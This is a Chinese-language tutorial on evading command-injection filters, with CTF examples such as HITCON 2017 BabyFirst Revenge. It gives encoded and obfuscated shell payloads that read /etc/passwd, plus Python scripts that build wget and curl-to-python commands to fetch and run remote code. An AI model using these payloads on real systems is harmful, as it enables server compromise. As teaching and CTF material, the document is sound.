Bypass一些命令注入限制的姿势
字数 1668 2025-08-27 12:33:42
命令注入绕过技术详解
一、命令注入基础概念
命令注入(OS命令注入/Shell注入)是一种Web安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统命令,可能导致完全破坏应用程序及其所有数据。
二、关键符号与语法
1. 逻辑操作符
-
&&(逻辑与):
command1 && command2:只有command1成功执行(返回0)才会执行command2- 示例:
ping -c 1 127.0.0.1 && whoami
-
||(逻辑或):
command1 || command2:只有command1失败(返回非0)才会执行command2- 示例:
invalid_command || cat /etc/passwd
-
;(分号):
- 分隔多个命令,无论前一个命令是否成功都会执行下一个
- 示例:
ls; id; whoami
2. 管道与后台执行
-
|(管道):
- 将前一个命令的输出作为后一个命令的输入
- 示例:
cat /etc/passwd | grep root
-
&(后台执行):
- 将命令置于后台执行
- 示例:
sleep 10 &
3. 命令替换
- ``(反引号)和**$()**:
- 执行内部命令并将结果替换到外部命令中
- 示例:
echo `whoami`或echo $(whoami)
4. 命令分组
-
()(子shell执行):
- 在子shell中执行一组命令
- 示例:
(ls; id)
-
{}(当前shell执行):
- 在当前shell中执行一组命令
- 示例:
{ ls; id; }(注意空格和分号)
三、输入/输出重定向
-
>:输出重定向(覆盖)
command > file:将输出写入file(覆盖)
-
>>:输出重定向(追加)
command >> file:将输出追加到file
-
<:输入重定向
command < file:从file读取输入
-
n>&m:合并输出
command 2>&1:将标准错误重定向到标准输出
四、绕过技术详解
1. 空格绕过
-
使用特殊变量:
$IFS(内部字段分隔符):cat$IFS/etc/passwd
-
使用重定向符号:
<和>:cat</etc/passwd
-
使用特殊变量:
${IFS}:cat${IFS}/etc/passwd
2. 关键字过滤绕过
-
变量替换:
a=c;b=at;c=/etc/passwd;$a$b $c
-
反斜杠转义:
c\at /etc/passwd
-
特殊变量:
$*、$@、$x(x为1-9):who$1ami${x}(x≥10):who${10}ami
3. 编码绕过
-
Base64编码:
echo "d2hvYW1p" | base64 -d | bash -
十六进制编码:
echo "77686F616D69" | xxd -r -p | bash -
八进制编码:
echo "\167\150\157\141\155\151" | bash
4. 引号绕过
- 单引号/双引号:
w'h'o'am'iw"h"o"a"m"i"
5. 花括号扩展
{command,argument}:{ls,-la}{cat,/etc/passwd}
6. 特殊字符绕过
- 换行符:
%0a(\n) - 回车符:
%0d(\r) - 制表符:
%09(\t)
五、长度限制绕过技术
1. 多阶段执行
例题1(长度<17):
<?php
$param = $_POST['param'];
if(strlen($param) < 17){
eval($param);
}
?>
解法:eval(eval($_POST[x]))
2. 分块写入+重定向
例题2(长度<8):
<?php
if(strlen($_GET[1]) < 8){
echo shell_exec($_GET[1]);
}
?>
解法步骤:
- 分块写入命令到文件
- 使用
ls -t按时间排序 - 重定向到脚本文件
- 执行脚本
示例Python脚本:
import requests
name = [
">php \\",
"> \\ 1.\\\\",
"> \\ -O\\\\",
">cn\\\\",
"> \\ a.\\\\",
">wget\\\\"
]
url = "http://target/test.php"
for x in name:
param = {'1': x}
requests.get(url, params=param)
param1 = {'1': 'ls -t>a'}
param2 = {'1': 'sh a'}
requests.get(url, params=param1)
requests.get(url, params=param2)
3. 极短长度限制(≤5)
例题3(HITCON CTF 2017 - BabyFirst Revenge):
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if(isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if(isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
解法(分块构建ls -t>g):
import requests
from urllib import quote
payload = [
'>ls \\',
'ls>_',
'>\\ \\',
'>-t\\',
'>\\>g',
'ls>>_',
# 构建curl命令下载并执行脚本
'>on',
'>th\\',
'>py\\',
'>\\|\\',
'>pw\\',
'>x.\\',
'>xx\\',
'>l.\\',
'>el\\',
'>sh\\',
'>\\ \\',
'>rl\\',
'>cu\\',
# 执行
'sh _',
'sh g',
]
for i in payload:
requests.get('http://target/?cmd=' + quote(i))
六、防御建议
- 避免使用系统命令执行函数
- 使用白名单验证所有输入
- 对特殊字符进行严格过滤
- 使用最小权限原则运行应用程序
- 使用安全的API替代命令执行
七、参考资源
- OWASP Command Injection
- Shell特殊变量和符号
- 正则表达式字符集
- Linux/Unix Shell编程